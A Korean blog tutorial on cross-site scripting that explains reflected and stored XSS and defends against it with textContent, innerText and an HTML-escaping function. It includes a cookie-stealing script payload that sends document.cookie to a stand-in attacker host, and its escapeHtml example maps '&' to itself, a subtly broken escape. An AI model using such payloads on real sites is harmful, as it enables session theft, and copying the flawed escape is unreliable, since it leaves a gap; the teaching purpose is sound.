크로스 사이트 스크립팅 (XSS)의 의미와 예방법(feat.innerText vs textContent)

XSS (크로스 사이트 스크립팅)란?

- 서버에 공격적인 자바 스크립트를 심어서 사용자들을 공격하는 것으로, 크로스 사이트 스크립팅은 언제 실행되느냐에 따라 Reflected와 Stored로 구분됩니다.

Reflected는 사용자의 입력값을 받아서 전송되는 방식이고,

Stored는 사용자가 페이지를 읽으면 공격되는 방식입니다.

<script>alert(document.cookie)</script>

 

공격적인 자바 스크립트의 예시입니다. 위의 스크립트를 실행시키면 사용자의 쿠키에 저장된 정보가 공격자에게로 전송되니 큰일이겠죠?

 

 

 

 

XSS(Cross-Site Scripting) 공격을 예시와 함께 설명하자면

• XSS는 악의적인 스크립트가 웹 사이트에 주입되는 보안 취약점입니다. 사용자의 입력을 적절히 처리하지 않으면, 사용자의 웹 브라우저에서 실행될 수 있는 스크립트를 포함할 수 있습니다.
• 예를 들어, 사용자로부터 댓글이나 평가 같은 입력을 받는 웹사이트에서는 이런 XSS 공격에 특히 주의해야 합니다. 사용자가 입력란에 <script> 태그를 이용한 악의적인 스크립트를 넣고 제출하면, 이 스크립트는 서버에 저장되어 다른 사용자가 해당 페이지를 열 때마다 실행될 수 있습니다. 이렇게 되면, 공격자는 다른 사용자의 쿠키를 훔치거나 웹사이트의 동작을 변조하는 등의 행동을 할 수 있게 됩니다.
• 예를 들어, 블로그의 댓글 작성칸에 공격자가 다음과 같은 댓글을 작성하면 XSS 공격이 발생할 수 있습니다.

예시

<script>document.location='https://aaabbbccc.com/steal.php?cookie='+document.cookie;</script>

 

→ 이 댓글이 게시되면, 이 페이지를 방문하는 모든 사용자는 위의 스크립트를 실행하게 됩니다. 스크립트는 사용자의 쿠키를 공격자의 사이트로 전송합니다. 공격자는 이 쿠키를 이용해 사용자가 로그인한 세션을 훔칠 수 있습니다. 이런 식으로 XSS 공격은 사용자의 개인 정보를 노출시키고 웹사이트의 보안을 심각하게 위협할 수 있습니다.

 

 

 

 

일어나는 이유

→ innerHTML을 둬서 해당 페이지에서 html 문법이 사용 될 수 있도록 하기 때문입니다!

---

해결법

해결법은 크게 2가지가 있는데, 띄어쓰기와 같은 공백이 필요한 경우엔 textContent를 추천합니다.
innerText와 textContent 두 속성은 HTML 태그를 그대로 텍스트로 처리하기 때문에, <script> 태그도 단순한 텍스트로 처리되므로 스크립트가 실행되지 않습니다.

 

1. textContent : 요소의 모든 텍스트 반환 (CSS에 의해 숨겨진 텍스트도 포함)

let input = '<script>alert("text Content");</script>';
element.textContent = input; // "<script>alert("text Content");</script>"

 

2. innerText : "렌더링된" 텍스트 반환 (&nbsp 삭제, 오로지 텍스트만)

let input = '<script>alert("XSS innerText");</script>';
element.innerText = input; // "<script>alert("XSS innerText");</script>"

추가 : html에 사용되는 문자 이스케이프하기

function escapeHtml(unsafe) {
    return unsafe
         .replace(/&/g, "&")
         .replace(/</g, "&lt;")
         .replace(/>/g, "&gt;")
         .replace(/"/g, "&quot;")
         .replace(/'/g, "&#039;");
}

 

•  특수 문자를 그대로 표시하지 않고, 해당 문자를 나타내는 다른 문자열로 치환한다. 예를 들어, HTML에서는 `<` 문자를 `&lt;`로, `>` 문자를 `&gt;`로 이스케이프 할 수 있다. 이렇게 하면, 이 문자들이 HTML 태그로 해석되지 않고 그대로 표시됩니다.
• escapeHtml 함수는 사용자의 입력을 받아서 모든 특수 문자를 이스케이프합니다. 따라서 사용자가 입력한 스크립트는 그대로 텍스트로 표시되고 실행되지 않습니다.

 

 

---

textContent vs innerText

textContent	innerText
- HTML 내에 텍스트를 동적으로 변경할 때 사용되며 Node의 속성입니다. `<script>`, `<style>` 은 무시하고, 띄어쓰기, 공백 등을 제거하지 않습니다. - 노드가 갖고 있는 모든 텍스트를 읽어오기 때문에 display:none; 의 속성을 준 텍스트도 읽어온다.  - 태그를 그대로 보여준다. 태그가 있어도 줄바꿈이 아닌 그냥 그대로 <br>로 보여준다.	- HTML 내에 텍스트를 동적으로 변경할 때 사용되며 htmlElement의 속성입니다. `<script>`, `<style>`의 영향을 받으며, 불필요한 공백을 제거합니다.

 

 

 

---

참고한 사이트입니다. 읽어 보시면 더욱 이해가 쉬울 거에요.
1. XSS 설명

https://blog.naver.com/panda_university/223226257728

[White Web Hacking_08] 크로스 사이트 스크립팅(XSS)

 

2. JavaScript에서의 innerText와 textContent: XSS 고려하여 안전하게 사용하기
https://velog.io/@mochafreddo/JavaScript%EC%97%90%EC%84%9C%EC%9D%98-innerText%EC%99%80-textContent-XSS-%EA%B3%A0%EB%A0%A4%ED%95%98%EC%97%AC-%EC%95%88%EC%A0%84%ED%95%98%EA%B2%8C-%EC%82%AC%EC%9A%A9%ED%95%98%EA%B8%B0

JavaScript에서의 innerText와 textContent: XSS 고려하여 안전하게 사용하기

 

3. textContent와 innerText의 차이점

https://velog.io/@wannabeing/textContent-innerHTML-innerText-%ED%8A%B9%EC%A7%95%EA%B3%BC-%EC%B0%A8%EC%9D%B4%EC%A0%90

textContent, innerHTML, innerText 특징과 차이점